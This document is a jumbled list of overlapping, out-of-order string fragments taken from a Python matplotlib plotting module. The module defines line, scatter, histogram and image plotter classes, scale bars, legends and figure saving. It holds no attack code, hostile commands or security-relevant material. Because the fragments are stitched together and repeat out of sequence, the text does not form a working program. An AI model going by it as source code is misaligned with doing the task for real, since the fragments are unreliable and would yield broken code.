"ax=self.axis, **kwargs) def finishAxis(self, **kwargs): self.formatAxis(**kwargs) if 'saveData' in kwargs:",
"sizey: if axis.yaxis_inverted(): sizey = -sizey bars.add_artist(Rectangle((0,0), 0, sizey, ec=barcolor,",
"list: linewidths = [self.linewidth for line in range(numLines)] else: linewidths",
"self.rwidth = data.get('rwidth', None) self.log = data.get('log', False) self.color =",
"= data.get('origin', None) self.extent = data.get('extent', None) self.aspect = data.get('aspect',",
"if self.label is None: labels = [None for line in",
"'jpeg': 'Joint Photographic Experts Group', 'pdf': 'Portable Document Format', 'pgf':",
"bars; None to omit - loc : position in containing",
"rcParam in rcParams: if rcParam in mpl.rcParams: mpl.rcParams[rcParam] = rcParams[rcParam]",
"plotting analyses \"\"\" import matplotlib as mpl import matplotlib.pyplot as",
"str(int(fileNumStr) + 1).zfill(2) fileName = fileName.split('_' + fileNumStr)[0] except: fileNumStr",
"= rcParams else: self.rcParams = self.orig_rcParams # Set up any",
"self.metafig.ax else: self.fig = self.axis.figure # Attach plotter to its",
"[self.marker for line in range(numLines)] else: markers = self.marker if",
"- space, ylim1) if ylim0 > ylim1: # if y",
"sizey>ymax: sizey = autosize(sizey, ymax, scaley) if xmax is not",
"\"\"\" Module for plotting analyses \"\"\" import matplotlib as mpl",
"Set up any subplots if not subplots: nrows = 1",
"axis=axis, **kwargs) self.kind = 'line' self.x = np.array(data.get('x')) self.y =",
"pad, borderpad : padding, in fraction of the legend font",
": additional arguments passed to base class constructor \"\"\" from",
"aspect=self.aspect, interpolation=self.interpolation, alpha=self.alpha, vmin=self.vmin, vmax=self.vmax, origin=self.origin, extent=self.extent, filternorm=self.filternorm, filterrad=self.filterrad, resample=self.resample,",
"if 'ylim' in kwargs: if kwargs['ylim'] is not None: self.axis.set_ylim(kwargs['ylim'])",
"self.orig_rcParams # Set up any subplots if not subplots: nrows",
"plt import numpy as np from copy import deepcopy import",
"self.label = data.get('label') def plot(self, **kwargs): numLines = len(self.y) if",
"None) self.label = data.get('label', None) self.stacked = data.get('stacked', False) self.data",
"0.82, 0.41], [0.00, 0.20, 0.50], [0.70, 0.32, 0.10]] * 3",
"self.norm = data.get('norm') self.alpha = data.get('alpha') self.linewidths = data.get('linewidths') def",
"= data.get('filterrad', 4.0) self.resample = data.get('resample', None) self.url = data.get('url',",
"list: colors = [self.color for line in range(numLines)] else: colors",
"= fileNumStrNew = '01' fileName = fileName.split(fileExt)[0] fileName = fileName.split(fileNumStr)[0]",
"self.axis.set_ylabel(kwargs['ylabel']) if 'xlim' in kwargs: if kwargs['xlim'] is not None:",
"axis is input, plot there; otherwise make a new figure",
"sizex>xmax: sizex = autosize(sizex, xmax, scalex) kwargs['sizex'] = sizex kwargs['sizey']",
"self.label for index, line in enumerate(self.y): self.axis.plot( self.x, self.y[index], color=colors[index],",
"and apply any legend parameters in the kwargs legendKwargs =",
"- **kwargs : additional arguments passed to AnchoredScaleBars Returns created",
"str: if os.path.isfile(data): self.data = self.loadData(data) else: raise Exception('In Plotter,",
"data.get('alpha') def plot(self, **kwargs): linePlot = self.axis.plot(self.x, self.y, color=self.color, marker=self.marker,",
"self.fig class AnchoredScaleBar(AnchoredOffsetbox): \"\"\" A class used for adding scale",
"json import os from matplotlib.offsetbox import AnchoredOffsetbox try: basestring except",
"= fileName + fileDesc + fileExt if fileDir is not",
"data coordinate of the give axes. A label will be",
"**kwargs) self.kind = 'image' self.X = data.get('X') self.cmap = data.get('cmap',",
"scaley=scaley, xmax=xmax, ymax=ymax, space=space, **kwargs) def addColorbar(self, **kwargs): plt.colorbar(mappable=self.axis.get_images()[0], ax=self.axis,",
"data=self.data) self.finishAxis(**kwargs) return self.fig class ImagePlotter(GeneralPlotter): \"\"\"A class used for",
"- hidex,hidey : if True, hide x-axis and y-axis of",
"HPacker(children=[self.ylabel, bars], align=\"center\", pad=0, sep=sep) AnchoredOffsetbox.__init__(self, loc, pad=pad, borderpad=borderpad, child=bars,",
"if 'title' in kwargs: self.axis.set_title(kwargs['title']) if 'xlabel' in kwargs: self.axis.set_xlabel(kwargs['xlabel'])",
"Network Graphics', 'ps': 'Postscript', 'raw': 'Raw RGBA bitmap', 'rgba': 'Raw",
"[self.color for line in range(numLines)] else: colors = self.color if",
"= self.loadData(data) else: raise Exception('In Plotter, if data is a",
"'not found in matplotlib.rcParams') self.rcParams = rcParams else: self.rcParams =",
"plot(self, **kwargs): imagePlot = self.axis.imshow(self.X, cmap=self.cmap, norm=self.norm, aspect=self.aspect, interpolation=self.interpolation, alpha=self.alpha,",
"fileType not in self.fig.canvas.get_supported_filetypes(): raise Exception('fileType not recognized in saveFig')",
"data=self.data) self.finishAxis(**kwargs) return self.fig class AnchoredScaleBar(AnchoredOffsetbox): \"\"\" A class used",
"Format', 'pgf': 'PGF code for LaTeX', 'png': 'Portable Network Graphics',",
"prop=prop, frameon=False, **kwargs) def add_scalebar(axis, matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None,",
"ylim1: # if y axis is inverted ylim = (ylim0",
"self.linewidth = data.get('linewidth') self.alpha = data.get('alpha') self.label = data.get('label') def",
"**kwargs): imagePlot = self.axis.imshow(self.X, cmap=self.cmap, norm=self.norm, aspect=self.aspect, interpolation=self.interpolation, alpha=self.alpha, vmin=self.vmin,",
"[1.00, 0.85, 0.00], [0.33, 0.67, 0.47], [1.00, 0.38, 0.60], [0.57,",
"matchy=matchy, hidex=hidex, hidey=hidey, unitsx=unitsx, unitsy=unitsy, scalex=scalex, scaley=scaley, xmax=xmax, ymax=ymax, space=space,",
"if axis.yaxis_inverted(): sizey = -sizey bars.add_artist(Rectangle((0,0), 0, sizey, ec=barcolor, lw=barwidth,",
"= self.axis.imshow(self.X, cmap=self.cmap, norm=self.norm, aspect=self.aspect, interpolation=self.interpolation, alpha=self.alpha, vmin=self.vmin, vmax=self.vmax, origin=self.origin,",
"if hidex: axis.xaxis.set_visible(False) if hidey: axis.yaxis.set_visible(False) if hidex and hidey:",
"ymax=None, space=None, **kwargs): add_scalebar(self.axis, matchx=matchx, matchy=matchy, hidex=hidex, hidey=hidey, unitsx=unitsx, unitsy=unitsy,",
"adding scale bars to plots \"\"\" def __init__(self, axis, sizex=0,",
"sim self.sim = sim self.kind = kind # Make a",
"LaTeX', 'png': 'Portable Network Graphics', 'ps': 'Postscript', 'raw': 'Raw RGBA",
"range=self.range, density=self.density, weights=self.weights, cumulative=self.cumulative, bottom=self.bottom, histtype=self.histtype, align=self.align, orientation=self.orientation, rwidth=self.rwidth, log=self.log,",
"figure and axis if self.axis is None: final = True",
"'markerscale', 'markerfirst', 'frameon', 'fancybox', 'shadow', 'framealpha', 'facecolor', 'edgecolor', 'mode', 'bbox_transform',",
"kwargs legendKwargs = {} for kwarg in kwargs: if kwarg",
"False) self.bottom = data.get('bottom', None) self.histtype = data.get('histtype', 'bar') self.align",
"data.get('aspect', None) self.interpolation = data.get('interpolation', None) self.alpha = data.get('alpha', None)",
"= data.get('alpha') def plot(self, **kwargs): linePlot = self.axis.plot(self.x, self.y, color=self.color,",
"None) def plot(self, **kwargs): histPlot = self.axis.hist(self.x, bins=self.bins, range=self.range, density=self.density,",
"if fileName.endswith(fileExt): fileName = fileName.split(fileExt)[0] + fileDesc + fileExt else:",
"scalex=scalex, scaley=scaley, xmax=xmax, ymax=ymax, space=space, **kwargs) def addColorbar(self, **kwargs): plt.colorbar(mappable=self.axis.get_images()[0],",
"+ fileNumStrNew + fileExt self.fig.savefig(fileName) self.fileName = fileName return fileName",
"and plotted into. If plotting into an existing axis, more",
"'%.3g %s'%(kwargs['sizey'] * scaley, unitsy) # add space for scalebar",
"mpl.rcParams: mpl.rcParams[rcParam] = rcParams[rcParam] else: print(rcParam, 'not found in matplotlib.rcParams')",
"a data file.') else: self.data = data if not sim:",
"color=self.color, marker=self.marker, markersize=self.markersize, linewidth=self.linewidth, alpha=self.alpha) self.finishAxis(**kwargs) return self.fig class LinesPlotter(GeneralPlotter):",
"= data.get('bottom', None) self.histtype = data.get('histtype', 'bar') self.align = data.get('align',",
"bars in points. - **kwargs : additional arguments passed to",
"def plot(self, **kwargs): linePlot = self.axis.plot(self.x, self.y, color=self.color, marker=self.marker, markersize=self.markersize,",
"kwargs['tightLayout']: plt.tight_layout() if 'saveFig' in kwargs: if kwargs['saveFig']: self.saveFig(**kwargs) if",
"kwargs[kwarg] # If 'legendKwargs' is found in kwargs, use those",
"**kwargs : additional arguments passed to AnchoredScaleBars Returns created scalebar",
"= data.get('linewidth') self.alpha = data.get('alpha') def plot(self, **kwargs): linePlot =",
"labelx,labely : labels for x,y bars; None to omit -",
"0.00], [0.33, 0.67, 0.47], [1.00, 0.38, 0.60], [0.57, 0.67, 0.33],",
"Group', 'pdf': 'Portable Document Format', 'pgf': 'PGF code for LaTeX',",
"None) self.alpha = data.get('alpha', None) self.label = data.get('label', None) self.stacked",
": position in containing axes - pad, borderpad : padding,",
"in kwargs: sizey = kwargs['sizey'] def autosize(value, maxvalue, scale, n=1,",
"= figSize[1] + (maxplots-1)*(figSize[1]*autosize) figSize = [figSize0, figSize1] self.fig, self.ax",
"in kwargs: if kwargs['ylim'] is not None: self.axis.set_ylim(kwargs['ylim']) if 'invert_yaxis'",
"= {} for kwarg in kwargs: if kwarg in legendParams:",
"borderpad : padding, in fraction of the legend font size",
"**kwargs): try: self.fig.show(block=False) except: self.fig.show() def addSuptitle(self, **kwargs): self.fig.suptitle(**kwargs) def",
"scatter plotting\"\"\" def __init__(self, data, axis=None, **kwargs): super().__init__(data=data, axis=axis, **kwargs)",
"data.get('norm') self.alpha = data.get('alpha') self.linewidths = data.get('linewidths') def plot(self, **kwargs):",
"spacing between ticks, if False, set size using sizex and",
"labels for x,y bars; None to omit - loc :",
"= self.rcParams['figure.figsize'] if 'dpi' in kwargs: dpi = kwargs['dpi'] else:",
"raise Exception('In Plotter, if data is a string, it must",
"vmax=self.vmax, origin=self.origin, extent=self.extent, filternorm=self.filternorm, filterrad=self.filterrad, resample=self.resample, url=self.url, data=self.data) self.finishAxis(**kwargs) return",
"if 'labelx' not in kwargs or kwargs['labelx'] is None: kwargs['labelx']",
"sim self.sim = sim self.axis = axis if metafig: self.metafig",
"axis.add_artist(scalebar) if hidex: axis.xaxis.set_visible(False) if hidey: axis.yaxis.set_visible(False) if hidex and",
"colorList = [[0.42, 0.67, 0.84], [0.90, 0.76, 0.00], [0.42, 0.83,",
"fileNumStr = fileName.split(fileExt)[0].split('_')[-1] fileNumStrNew = str(int(fileNumStr) + 1).zfill(2) fileName =",
"if not subplots: nrows = 1 ncols = 1 elif",
"created and plotted into. If plotting into an existing axis,",
"Experts Group', 'pdf': 'Portable Document Format', 'pgf': 'PGF code for",
"sizex, 0, ec=barcolor, lw=barwidth, fc=\"none\")) if sizey: if axis.yaxis_inverted(): sizey",
"= kwargs['figSize'] else: figSize = self.rcParams['figure.figsize'] if 'dpi' in kwargs:",
"sim: from .. import sim self.sim = sim self.kind =",
"elif type(kwargs['scalebar']) == dict: self.addScalebar(**kwargs['scalebar']) if 'colorbar' in kwargs: if",
"self.axis.set_ylim(kwargs['ylim']) if 'invert_yaxis' in kwargs: if kwargs['invert_yaxis'] is True: self.axis.invert_yaxis()",
"= subplots[0] ncols = subplots[1] # Create figure if 'figSize'",
"data.get('interpolation', None) self.filternorm = data.get('filternorm', True) self.filterrad = data.get('filterrad', 4.0)",
"maxvalue: try: value = round_to_n(0.8 * maxvalue * scale, n,",
"data.get('X') self.cmap = data.get('cmap', None) self.norm = data.get('norm', None) self.aspect",
"fileName = os.path.join(fileDir, fileName) if not overwrite: while os.path.isfile(fileName): try:",
": if True, hide x-axis and y-axis of parent -",
"sim self.kind = kind # Make a copy of the",
"finishFig(self, **kwargs): if 'suptitle' in kwargs: if kwargs['suptitle']: self.addSuptitle(**kwargs['suptitle']) if",
"if type(self.alpha) != list: alphas = [self.alpha for line in",
"self.cmap = data.get('cmap') self.norm = data.get('norm') self.alpha = data.get('alpha') self.linewidths",
"kwargs['suptitle']: self.addSuptitle(**kwargs['suptitle']) if 'tightLayout' not in kwargs: plt.tight_layout() elif kwargs['tightLayout']:",
"lambda value, n, m: int(np.ceil(round(value, -int(np.floor(np.log10(abs(value)))) + (n - 1))",
"None) self.range = data.get('range', None) self.density = data.get('density', False) self.weights",
"list: markers = [self.marker for line in range(numLines)] else: markers",
"Create figure if 'figSize' in kwargs: figSize = kwargs['figSize'] else:",
"axis if metafig: self.metafig = metafig # If an axis",
"= MetaFigure(kind=self.kind, **kwargs) self.fig = self.metafig.fig self.axis = self.metafig.ax else:",
"self.histtype = data.get('histtype', 'bar') self.align = data.get('align', 'mid') self.orientation =",
"'PGF code for LaTeX', 'png': 'Portable Network Graphics', 'ps': 'Postscript',",
"labels = [None for line in range(numLines)] else: labels =",
"on the same axis\"\"\" def __init__(self, data, axis=None, options={}, **kwargs):",
"If an axis is input, plot there; otherwise make a",
"line in range(numLines)] else: labels = self.label for index, line",
"nrows = subplots ncols = 1 elif type(subplots) == list:",
"subplot\"\"\" def __init__(self, data, axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs)",
"def __init__(self, data, kind, axis=None, sim=None, rcParams=None, metafig=None, **kwargs): \"\"\"",
"plt.subplots(nrows, ncols, figsize=figSize, dpi=dpi) self.plotters = [] def saveFig(self, sim=None,",
"axis=None, sim=None, rcParams=None, metafig=None, **kwargs): \"\"\" Parameters ---------- data :",
"self.data = data.get('data', None) def plot(self, **kwargs): histPlot = self.axis.hist(self.x,",
"elif type(subplots) == int: nrows = subplots ncols = 1",
"fileDesc + fileExt else: if fileName.endswith(fileExt): fileName = fileName.split(fileExt)[0] +",
"File Format', 'tiff': 'Tagged Image File Format' \"\"\" if not",
"Vector Graphics', 'svgz': 'Scalable Vector Graphics', 'tif': 'Tagged Image File",
"legendKwargs[key] = legendKwargs_new[key] cur_handles, cur_labels = self.axis.get_legend_handles_labels() if not handles:",
"subplots[0] ncols = subplots[1] # Create figure if 'figSize' in",
"ylim = (ylim0 + space, ylim1) axis.set_ylim(ylim) scalebar = AnchoredScaleBar(axis,",
"fileName + fileDesc + fileExt if fileDir is not None:",
"= fileName.split(fileNumStr)[0] + '_' + fileNumStrNew + fileExt self.fig.savefig(fileName) self.fileName",
"is not None: fileDesc = '_' + str(fileDesc) else: fileDesc",
"stacked=self.stacked, data=self.data) self.finishAxis(**kwargs) return self.fig class ImagePlotter(GeneralPlotter): \"\"\"A class used",
": dict, str axis : matplotlib axis The axis to",
"self.linewidth = data.get('linewidth') self.cmap = data.get('cmap') self.norm = data.get('norm') self.alpha",
"1 elif type(subplots) == int: nrows = subplots ncols =",
"GeneralPlotter: \"\"\"A class used for plotting\"\"\" def __init__(self, data, kind,",
"import matplotlib.pyplot as plt import numpy as np from copy",
"give axes. A label will be drawn underneath (center-aligned). -",
"sizey = autosize(sizey, ymax, scaley) if xmax is not None",
"**legendKwargs) def addScalebar(self, matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None, unitsy=None, scalex=1.0,",
"0.84], [0.90, 0.76, 0.00], [0.42, 0.83, 0.59], [0.90, 0.32, 0.00],",
"\"\"\" self.kind = kind # Load data if type(data) ==",
"scale, n=1, m=10): round_to_n = lambda value, n, m: int(np.ceil(round(value,",
"[0.34, 0.67, 0.67], [0.90, 0.59, 0.00], [0.42, 0.82, 0.83], [1.00,",
"in kwargs: self.axis.set_title(kwargs['title']) if 'xlabel' in kwargs: self.axis.set_xlabel(kwargs['xlabel']) if 'ylabel'",
"True: self.addScalebar() elif type(kwargs['scalebar']) == dict: self.addScalebar(**kwargs['scalebar']) if 'colorbar' in",
"matchy: sizey = get_tick_size(axis.yaxis) if 'sizex' in kwargs: sizex =",
"type(kwargs['grid']) == dict: self.axis.grid(**kwargs['grid']) # If this is the only",
"= data.get('url', None) self.data = data.get('data', None) def plot(self, **kwargs):",
"tick_locs = subaxis.get_majorticklocs() if len(tick_locs)>1: tick_size = np.abs(tick_locs[1] - tick_locs[0])",
"Experts Group', 'jpeg': 'Joint Photographic Experts Group', 'pdf': 'Portable Document",
"'svgz': 'Scalable Vector Graphics', 'tif': 'Tagged Image File Format', 'tiff':",
"finish the figure if type(self.metafig.ax) != list: self.metafig.finishFig(**kwargs) # Reset",
"data.get('log', False) self.color = data.get('color', None) self.alpha = data.get('alpha', None)",
"mpl import matplotlib.pyplot as plt import numpy as np from",
"update them self.orig_rcParams = deepcopy(mpl.rcParamsDefault) if rcParams: for rcParam in",
"and y-axis of parent - **kwargs : additional arguments passed",
"self.alpha = data.get('alpha', None) self.vmin = data.get('vmin', None) self.vmax =",
"Exception('fileType not recognized in saveFig') else: fileExt = '.' +",
"cmap=self.cmap, norm=self.norm, alpha=self.alpha, linewidths=self.linewidths) self.finishAxis(**kwargs) return self.fig class LinePlotter(GeneralPlotter): \"\"\"A",
"self.x = np.array(data.get('x')) self.y = np.array(data.get('y')) self.color = data.get('color') self.marker",
"if 'sizex' in kwargs: sizex = kwargs['sizex'] if 'sizey' in",
"of x,y bar, in data units. 0 to omit -",
"add_scalebar(axis, matchx=True, matchy=True, hidex=True, hidey=True, unitsx=None, unitsy=None, scalex=1.0, scaley=1.0, xmax=None,",
"if sizey: if axis.yaxis_inverted(): sizey = -sizey bars.add_artist(Rectangle((0,0), 0, sizey,",
"+ 1).zfill(2) fileName = fileName.split('_' + fileNumStr)[0] except: fileNumStr =",
"matplotlib rcParams to their original settings mpl.style.use(self.metafig.orig_rcParams) class ScatterPlotter(GeneralPlotter): \"\"\"A",
"plot(self, **kwargs): scatterPlot = self.axis.scatter(x=self.x, y=self.y, s=self.s, c=self.c, marker=self.marker, linewidth=self.linewidth,",
"= data if not sim: from .. import sim self.sim",
"otherwise make a new figure and axis if self.axis is",
"kwargs: if kwargs['figSize']: self.fig.set_size_inches(kwargs['figSize']) if 'legend' in kwargs: if kwargs['legend']",
"= data.get('linewidths') def plot(self, **kwargs): scatterPlot = self.axis.scatter(x=self.x, y=self.y, s=self.s,",
"else: fileExt = '.' + fileType if not fileName or",
"= -sizey bars.add_artist(Rectangle((0,0), 0, sizey, ec=barcolor, lw=barwidth, fc=\"none\")) if sizex",
"is None: unitsx = '' if unitsy is None: unitsy",
"else: markers = self.marker if type(self.markersize) != list: markersizes =",
"and labely: self.ylabel = TextArea(labely) bars = HPacker(children=[self.ylabel, bars], align=\"center\",",
"= str(int(fileNumStr) + 1).zfill(2) fileName = fileName.split('_' + fileNumStr)[0] except:",
"DrawingArea bars = AuxTransformBox(axis.transData) if sizex: if axis.xaxis_inverted(): sizex =",
"metafig: self.metafig = metafig # If an axis is input,",
"**kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'histogram' self.x = data.get('x')",
"fileName or not isinstance(fileName, basestring): fileName = self.sim.cfg.filename + fileDesc",
"scale bars to *ax*, matching the size to the ticks",
"if rcParams: for rcParam in rcParams: if rcParam in mpl.rcParams:",
"1).zfill(2) fileName = fileName.split('_' + fileNumStr)[0] except: fileNumStr = fileNumStrNew",
"= '_' + self.kind if fileType not in self.fig.canvas.get_supported_filetypes(): raise",
"'.' + fileType if not fileName or not isinstance(fileName, basestring):",
"in self.fig.canvas.get_supported_filetypes(): raise Exception('fileType not recognized in saveFig') else: fileExt",
"self.fig = self.metafig.fig self.axis = self.metafig.ax else: self.fig = self.axis.figure",
"resample=self.resample, url=self.url, data=self.data) self.finishAxis(**kwargs) return self.fig class AnchoredScaleBar(AnchoredOffsetbox): \"\"\" A",
"not None and sizey>ymax: sizey = autosize(sizey, ymax, scaley) if",
"= fileName.split('_' + fileNumStr)[0] except: fileNumStr = fileNumStrNew = '01'",
"data.get('url', None) self.data = data.get('data', None) def plot(self, **kwargs): imagePlot",
"dict: self.addScalebar(**kwargs['scalebar']) if 'colorbar' in kwargs: if kwargs['colorbar'] is True:",
"class used for plotting\"\"\" def __init__(self, data, kind, axis=None, sim=None,",
"self.kind = 'line' self.x = np.array(data.get('x')) self.y = np.array(data.get('y')) self.color",
"True self.metafig = MetaFigure(kind=self.kind, **kwargs) self.fig = self.metafig.fig self.axis =",
"matplotlib.patches import Rectangle from matplotlib.offsetbox import AuxTransformBox, VPacker, HPacker, TextArea,",
"'borderaxespad', 'columnspacing', 'handler_map'] # Check for and apply any legend",
"\"\"\" def __init__(self, axis, sizex=0, sizey=0, labelx=None, labely=None, loc=4, pad=0.1,",
"try: value = round_to_n(0.8 * maxvalue * scale, n, m)",
"and labelx: self.xlabel = TextArea(labelx) bars = VPacker(children=[bars, self.xlabel], align=\"center\",",
"as np from copy import deepcopy import pickle, json import",
"loadData(fileName=fileName, fileDir=fileDir, sim=None) def saveData(self, fileName=None, fileDesc=None, fileType=None, fileDir=None, sim=None,",
"while value > maxvalue: try: value = round_to_n(0.8 * maxvalue",
"plt.tight_layout() if 'saveFig' in kwargs: if kwargs['saveFig']: self.saveFig(**kwargs) if 'showFig'",
"if kwarg in legendParams: legendKwargs[kwarg] = kwargs[kwarg] # If 'legendKwargs'",
"from copy import deepcopy import pickle, json import os from",
"'line' self.x = np.array(data.get('x')) self.y = np.array(data.get('y')) self.color = data.get('color')",
"elif type(kwargs['colorbar']) == dict: self.addColorbar(**kwargs['colorbar']) if 'grid' in kwargs: self.axis.minorticks_on()",
"else: markersizes = self.markersize if type(self.linewidth) != list: linewidths =",
"data.get('align', 'mid') self.orientation = data.get('orientation', 'vertical') self.rwidth = data.get('rwidth', None)",
": labels for x,y bars; None to omit - loc",
"class ImagePlotter(GeneralPlotter): \"\"\"A class used for image plotting using plt.imshow\"\"\"",
"plots \"\"\" def __init__(self, axis, sizex=0, sizey=0, labelx=None, labely=None, loc=4,",
"if self.axis is None: final = True self.metafig = MetaFigure(kind=self.kind,",
"marker=self.marker, linewidth=self.linewidth, cmap=self.cmap, norm=self.norm, alpha=self.alpha, linewidths=self.linewidths) self.finishAxis(**kwargs) return self.fig class",
"kwargs['showFig']: self.showFig(**kwargs) else: plt.close(self.fig) # Reset the matplotlib rcParams to",
"/= 10.0 m /= 10.0 return value if ymax is",
"in enumerate(self.y): self.axis.plot( self.x, self.y[index], color=colors[index], marker=markers[index], markersize=markersizes[index], linewidth=linewidths[index], alpha=alphas[index],",
"**kwargs): scatterPlot = self.axis.scatter(x=self.x, y=self.y, s=self.s, c=self.c, marker=self.marker, linewidth=self.linewidth, cmap=self.cmap,",
"= legendKwargs_new[key] cur_handles, cur_labels = self.axis.get_legend_handles_labels() if not handles: handles",
"kwargs['dpi']: self.fig.set_dpi(kwargs['dpi']) if 'figSize' in kwargs: if kwargs['figSize']: self.fig.set_size_inches(kwargs['figSize']) if",
"if key in legendParams: legendKwargs[key] = legendKwargs_new[key] cur_handles, cur_labels =",
"+ (maxplots-1)*(figSize[0]*autosize) figSize1 = figSize[1] + (maxplots-1)*(figSize[1]*autosize) figSize = [figSize0,",
"copy import deepcopy import pickle, json import os from matplotlib.offsetbox",
"axis is inverted ylim = (ylim0 + space, ylim1) axis.set_ylim(ylim)",
"in matplotlib.rcParams') self.rcParams = rcParams else: self.rcParams = self.orig_rcParams #",
"(typically axes.transData) - sizex,sizey : width of x,y bar, in",
"None: kwargs['labely'] = '%.3g %s'%(kwargs['sizey'] * scaley, unitsy) # add",
"+ self.kind if fileType not in self.fig.canvas.get_supported_filetypes(): raise Exception('fileType not",
"one line per subplot\"\"\" def __init__(self, data, axis=None, options={}, **kwargs):",
"if 'scalebar' in kwargs: if kwargs['scalebar'] is True: self.addScalebar() elif",
"for index, line in enumerate(self.y): self.axis.plot( self.x, self.y[index], color=colors[index], marker=markers[index],",
"# Reset the matplotlib rcParams to their original settings mpl.style.use(self.metafig.orig_rcParams)",
"self.data = data.get('data', None) def plot(self, **kwargs): imagePlot = self.axis.imshow(self.X,",
"**kwargs): add_scalebar(self.axis, matchx=matchx, matchy=matchy, hidex=hidex, hidey=hidey, unitsx=unitsx, unitsy=unitsy, scalex=scalex, scaley=scaley,",
"data.get('orientation', 'vertical') self.rwidth = data.get('rwidth', None) self.log = data.get('log', False)",
"'rgba': 'Raw RGBA bitmap', 'svg': 'Scalable Vector Graphics', 'svgz': 'Scalable",
"self.fig.set_size_inches(kwargs['figSize']) if 'legend' in kwargs: if kwargs['legend'] is True: self.addLegend(**kwargs)",
"in kwargs: self.axis.set_ylabel(kwargs['ylabel']) if 'xlim' in kwargs: if kwargs['xlim'] is",
"sizey params - hidex,hidey : if True, hide x-axis and",
"x and y axes - axis : the axis to",
"rcParams=None, metafig=None, **kwargs): \"\"\" Parameters ---------- data : dict, str",
"**kwargs): \"\"\" Add scalebars to axes Adds a set of",
"None to omit - loc : position in containing axes",
"= self.rcParams['figure.dpi'] if autosize: maxplots = np.max([nrows, ncols]) figSize0 =",
"= fileName.split(fileExt)[0] fileName = fileName.split(fileNumStr)[0] + '_' + fileNumStrNew +",
"to the ticks of the plot and optionally hiding the",
"'suptitle' in kwargs: if kwargs['suptitle']: self.addSuptitle(**kwargs['suptitle']) if 'tightLayout' not in",
"**kwargs) self.kind = 'scatter' self.x = data.get('x') self.y = data.get('y')",
"(ylim0 - space, ylim1) if ylim0 > ylim1: # if",
"= [figSize0, figSize1] self.fig, self.ax = plt.subplots(nrows, ncols, figsize=figSize, dpi=dpi)",
"a new figure and axis if self.axis is None: final",
"= data.get('histtype', 'bar') self.align = data.get('align', 'mid') self.orientation = data.get('orientation',",
"self.alpha = data.get('alpha') self.linewidths = data.get('linewidths') def plot(self, **kwargs): scatterPlot",
"saveFigData(self.data, fileName=fileName, fileDesc=fileDesc, fileType=fileType, fileDir=fileDir, sim=sim, **kwargs) def formatAxis(self, **kwargs):",
"None and sizex>xmax: sizex = autosize(sizex, xmax, scalex) kwargs['sizex'] =",
"unitsx) if 'labely' not in kwargs or kwargs['labely'] is None:",
"as saveFigData saveFigData(self.data, fileName=fileName, fileDesc=fileDesc, fileType=fileType, fileDir=fileDir, sim=sim, **kwargs) def",
"self.kind = 'lines' self.x = np.array(data.get('x')) self.y = np.array(data.get('y')) self.color",
"self.loadData(data) else: raise Exception('In Plotter, if data is a string,",
"m=10): round_to_n = lambda value, n, m: int(np.ceil(round(value, -int(np.floor(np.log10(abs(value)))) +",
"for line in range(numLines)] else: linewidths = self.linewidth if type(self.alpha)",
"unitsy is None: unitsy = '' if 'labelx' not in",
"from .. import sim if fileDesc is not None: fileDesc",
"matplotlib rcParams and update them self.orig_rcParams = deepcopy(mpl.rcParamsDefault) if rcParams:",
"if 'invert_yaxis' in kwargs: if kwargs['invert_yaxis'] is True: self.axis.invert_yaxis() def",
"data.get('label') def plot(self, **kwargs): numLines = len(self.y) if type(self.color) !=",
"the give axes. A label will be drawn underneath (center-aligned).",
"bars], align=\"center\", pad=0, sep=sep) AnchoredOffsetbox.__init__(self, loc, pad=pad, borderpad=borderpad, child=bars, prop=prop,",
"Vector Graphics', 'tif': 'Tagged Image File Format', 'tiff': 'Tagged Image",
"= kwargs['legendKwargs'] for key in legendKwargs_new: if key in legendParams:",
"addColorbar(self, **kwargs): plt.colorbar(mappable=self.axis.get_images()[0], ax=self.axis, **kwargs) def finishAxis(self, **kwargs): self.formatAxis(**kwargs) if",
"the size in data coordinate of the give axes. A",
"try: fileNumStr = fileName.split(fileExt)[0].split('_')[-1] fileNumStrNew = str(int(fileNumStr) + 1).zfill(2) fileName",
"used for plotting\"\"\" def __init__(self, data, kind, axis=None, sim=None, rcParams=None,",
"'saveFig' in kwargs: if kwargs['saveFig']: self.saveFig(**kwargs) if 'showFig' in kwargs:",
"data.get('rwidth', None) self.log = data.get('log', False) self.color = data.get('color', None)",
"defines a figure object\"\"\" def __init__(self, kind, sim=None, subplots=None, rcParams=None,",
"= np.array(data.get('x')) self.y = np.array(data.get('y')) self.color = data.get('color') self.marker =",
"showFig(self, **kwargs): try: self.fig.show(block=False) except: self.fig.show() def addSuptitle(self, **kwargs): self.fig.suptitle(**kwargs)",
"# If an axis is input, plot there; otherwise make",
"options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'line' self.x =",
"ymax=ymax, space=space, **kwargs) def addColorbar(self, **kwargs): plt.colorbar(mappable=self.axis.get_images()[0], ax=self.axis, **kwargs) def",
"A label will be drawn underneath (center-aligned). - transform :",
"kwargs['saveData']: self.saveData(**kwargs) if 'dpi' in kwargs: if kwargs['dpi']: self.fig.set_dpi(kwargs['dpi']) if",
"to axes Adds a set of scale bars to *ax*,",
"None) self.cumulative = data.get('cumulative', False) self.bottom = data.get('bottom', None) self.histtype",
"kwarg in legendParams: legendKwargs[kwarg] = kwargs[kwarg] # If 'legendKwargs' is",
"= subplots[1] # Create figure if 'figSize' in kwargs: figSize",
"type(kwargs['scalebar']) == dict: self.addScalebar(**kwargs['scalebar']) if 'colorbar' in kwargs: if kwargs['colorbar']",
"self.metafig = metafig # If an axis is input, plot",
"(maxplots-1)*(figSize[0]*autosize) figSize1 = figSize[1] + (maxplots-1)*(figSize[1]*autosize) figSize = [figSize0, figSize1]",
"= data.get('interpolation', None) self.filternorm = data.get('filternorm', True) self.filterrad = data.get('filterrad',",
"plt.close(self.fig) # Reset the matplotlib rcParams to their original settings",
"in rcParams: if rcParam in mpl.rcParams: mpl.rcParams[rcParam] = rcParams[rcParam] else:",
"width of x,y bar, in data units. 0 to omit",
"if 'ylabel' in kwargs: self.axis.set_ylabel(kwargs['ylabel']) if 'xlim' in kwargs: if",
"['loc', 'bbox_to_anchor', 'fontsize', 'numpoints', 'scatterpoints', 'scatteryoffsets', 'markerscale', 'markerfirst', 'frameon', 'fancybox',",
"= VPacker(children=[bars, self.xlabel], align=\"center\", pad=0, sep=sep) if sizey and labely:",
"data.get('weights', None) self.cumulative = data.get('cumulative', False) self.bottom = data.get('bottom', None)",
